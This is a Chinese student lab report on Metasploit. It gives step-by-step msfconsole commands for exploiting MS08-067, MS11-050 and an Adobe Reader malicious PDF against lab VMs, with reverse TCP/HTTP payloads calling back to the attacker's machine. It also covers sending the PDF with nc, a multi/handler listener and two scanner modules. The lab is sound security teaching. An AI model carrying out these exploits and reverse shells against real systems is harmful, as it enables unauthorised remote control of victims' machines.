20144306《网络对抗》CAL_MSF基础运用

1  实验内容

• 一个主动攻击，如ms08_067
• 一个针对浏览器的攻击，如ms11_050
• 一个针对客户端的攻击，如Adobe
• 成功应用任何一个辅助模块

2  实验过程记录

  2.1 主动攻击MS08-067大漏洞

• 关于MS08-067

        MS08-067 漏洞是通过MSRPC over SMB 通道调用Server服务程序中的NetPathCanonicalize函数时触发的，而NetPathCanonicalize函数在远程访问其他主机时，会调用NetPathCanonicalize函数对远程访问的路径进行规范化，而在NetPathCanonicalize函数中发生了栈缓冲区内存错误，造成可被利用实施远程远程代码执行。

• 关于攻击机和靶机

       攻击机：kali  靶机：windows 2000 server sp0

       kali_ip：192.168.163.135

       win2k_server_sp0_ip：192.168.163.136

• 攻击过程

      在kali的Terminal中键入msfconsole进入MSF

      输入下面两条命令（加黑部分）：

      msf > use exploit/windows/smb/ms08_067_netapi

      msf exploit(ms08_067_netapi) > show payloads 

     

     msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp  //tcp反向回连
     msf exploit(ms08_067_netapi) > set LHOST 192.168.163.135 //攻击机ip
     msf exploit(ms08_067_netapi) > set LPORT 4306 //攻击端口
     msf exploit(ms08_067_netapi) > set RHOST 192.168.163.136 //靶机ip，特定漏洞端口已经固定
     msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型，省得自己找了
     msf exploit(ms08_067_netapi) > exploit

     

     攻击结果：

     

  2.2 浏览器攻击MS11-050安全漏洞

• 关于MS11-050

        MS11-050 漏洞是IE浏览器MSHTML模块在处理无效<object>标签时存在的Use-after-Free类型漏洞，Metasploit中的渗透攻击模块利用了堆射技术来利用这个漏洞。

• 关于攻击机和靶机

       攻击机：kali  靶机：windows XP professiol sp3

       kali_ip：192.168.163.135

       winXP_server_sp3_ip：192.168.163.137

• 攻击过程

      在kali的Terminal中键入msfconsole进入MSF

      输入下面这两条命令（加黑部分）：

      msf > use windows/browser/ms11_050_mshtml_cobjectelement

      msf exploit(ms08_067_netapi) > info 

     

     msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http  //http反向回连
     msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.163.135 //攻击机ip
     msf exploit(ms11_050_cobjectelement) > set LPORT 8443 //攻击端口固定
     msf exploit(ms11_050_cobjectelement) > set URIPATH 4306 //统一资源标识符路径设置
     msf exploit(ms11_050_cobjectelement) > exploit

     

     在靶机上输入网址 http://192.168.163.135:8080/4306 回车进入

     

     在kali上输入sessions -i 1选择id号为1的回连回话：

     

     攻击结果：

     

  2.3 Adobe阅读器渗透攻击

• 关于攻击机和靶机

       攻击机：kali  靶机：windows XP Professional sp3

       kali_ip：192.168.163.135

       winXP_pro_sp3_ip：192.168.163.134

       Adobe版本：9.3

• 攻击过程

      在kali的Terminal中键入msfconsole进入MSF

      输入下面这两条命令（加黑部分）：

      msf > use windows/fileformat/adobe_cooltype_sing

      msf exploit(adobe_cooltype_sing) >  info 

     

     msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp  //tcp反向回连
     msf exploit(adobe_cooltype_singi) > set LHOST 192.168.163.135 //攻击机ip
     msf exploit(adobe_cooltype_sing) > set LPORT 8443 //攻击端口固定
     msf exploit(adobe_cooltype_sing) > set FILENAME 20144306.pdf //设置生成的假PDF文件名字
     msf exploit(adobe_cooltype_sing) > exploit

     

     把生成的pdf传到靶机上

     在kali上键入以下命令（加黑部分）进入存储20144306.pdf的路径：

     root@KaliYL:~# cd /root/.msf4/local 

     另一端靶机用ncat.exe建立连接：

     

     kali传送pdf

     root@KaliYL:~/.msf4/local# nc 192.168.163.134 4306 < 20144306.pdf

     

    在靶机 C:\Documents and Settings\Administrator目录下找到该pdf：

     

     kali上输入back退出当前模块

     进入监听模块

     msf > use exploit/multi/handler //进入监听模块

     msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

     msf exploit(handler) > set LHOST 192.168.163.135 //攻击机ip
     msf exploit(handler) > set LPORT 8443 //攻击端口固定
     msf exploit(handler) > exploit

     

     在靶机上点击打开20144306.pdf文件：

     

     攻击结果：

     

     查看ip

     

  2.4 辅助模块应用

• 关于辅助模块

     先看一下有哪些辅助模块

     

• webdav_scanner

     攻击机：kali

     靶机：winXP pro sp3

     攻击机ip：192.168.163.135

     靶机ip：192.168.163.137

     靶机IIS版本：IIS 5.1

     先在靶机上安装IIS5.1

     控制面板-》添加或删除程序

     

     开启新的对话框后做如下选择：

     

     选择网上下的安装包的所在路径，安装成功即可。

     选择 scanner/http/webdav_scanner，来扫描一下靶机webdav的开放情况：

     输入下面两条指令：

    msf > use scanner/http/webdav_scanner

    msf auxiliary(webdav_scanner) > info

    

    看到功能描述，查看web服务器WebDAV的开放情况。

    输入下面的命令：

     msf auxiliary(webdav_scanner) > set RHOSTS 192.168.163.137 //设置靶机ip

     msf auxiliary(webdav_scanner) > run //执行

     

     可以看到靶机上的WebDAV是开放的。

• cert扫描

     cert扫描模块是一个非常好用的扫描工具， 让你可以查到一个子网段内的服务器的证书情况。

     

     可以显示证书颁发者、颁发日期以及失效时间。

3  实验问题回答

     什么是exploit、payload和encode？

     exploit就是利用可能存在的漏洞对目标进行攻击，这些漏洞需要发掘。

     payload就是被传输到靶机上上执行的代码。

     encode编码一是为了避免使攻击载荷不能完整运行的“坏字符”，二是为了改变特征码，帮助攻击载荷避免被杀软发现。

4  实验体会

     对msf的功能有了新的认识，真的很强大啊！！！

     对于一个完整的渗透测试可以分为：

     信息搜集阶段获得了靶机的域名注册信息、地理位置，以及网段os版本、开放端口及其服务版本等信息。

     漏洞扫描阶段获得网段主机大量漏洞信息，可采取不同方式的攻击方式，如口令猜测、网络服务渗透攻击、浏览器渗透攻击等。

     渗透攻击阶段对主机部分漏洞进行利用，对getshell的主机进行了有效的后渗透攻击。

     在做实验前,我以为不会难做,就像以前做物理实验一样,做完实验,然后两下子就将实验报告做完。直到做完测试实验时,我才知道其实并不容易做,但学到的知识与难度成正比,使我受益匪浅。